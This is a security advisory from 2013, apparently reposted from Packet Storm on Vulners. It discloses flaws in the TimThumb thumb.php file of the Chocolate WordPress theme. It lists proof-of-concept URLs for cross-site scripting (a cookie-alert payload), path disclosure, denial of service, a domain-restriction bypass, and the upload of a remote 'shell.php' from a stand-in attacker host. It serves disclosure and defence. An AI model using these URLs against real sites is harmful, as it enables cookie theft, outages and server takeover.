Lucene search
K

WordPress Chocolate Theme XSS / Denial Of Service / Shell Upload

🗓️ 23 Jan 2013 00:00:00Reported by MustLiveType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Warning about multiple vulnerabilities in Chocolate WP theme for WordPress including XSS, full path disclosure, abuse of functionality, denial of service, and arbitrary file upload

Code
`Hello list!  
  
I want to warn you about multiple vulnerabilities in Chocolate WP theme for   
WordPress. This is commercial theme for WP.  
  
These are Cross-Site Scripting, Full path disclosure, Abuse of   
Functionality, Denial of Service and Arbitrary File Upload vulnerabilities.  
  
In 2011 I wrote about Cross-Site Scripting (WASC-08), Full path disclosure   
(WASC-13), Abuse of Functionality (WASC-42) and Denial of Service (WASC-10)   
vulnerabilities in TimThumb and multiple themes for WordPress   
(http://websecurity.com.ua/4910/), and later also was disclosed Arbitrary   
File Uploading (WASC-31) vulnerability. In previous years I've wrote about   
multiple vulnerabilities in 145 WP themes (http://websecurity.com.ua/4915/)   
and here is another theme.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are all versions of Chocolate WP theme for WordPress. Earlier   
I've informed developers about these vulnerabilities.  
  
----------  
Details:  
----------  
  
XSS (WASC-08) (in older versions of TimThumb):  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg  
  
Full path disclosure (WASC-13):  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3C111  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1&w=1111111  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1111111&w=1  
  
Abuse of Functionality (WASC-42):  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site&h=1&w=1  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1   
(bypass of restriction on domain, if such restriction is turned on)  
  
DoS (WASC-10):  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1   
(bypass of restriction on domain, if such restriction is turned on)  
  
About such Abuse of Functionality and Denial of Service vulnerabilities you   
can read in my article Using of the sites for attacks on other sites   
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).  
  
Arbitrary File Upload (WASC-31):  
  
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php  
  
Full path disclosure (WASC-13):  
  
http://site/wp-content/themes/dt-chocolate/  
  
Besides index.php there are also potentially FPD in other php-files of this   
theme.  
  
Best wishes & regards,  
Eugene Dokukin aka MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation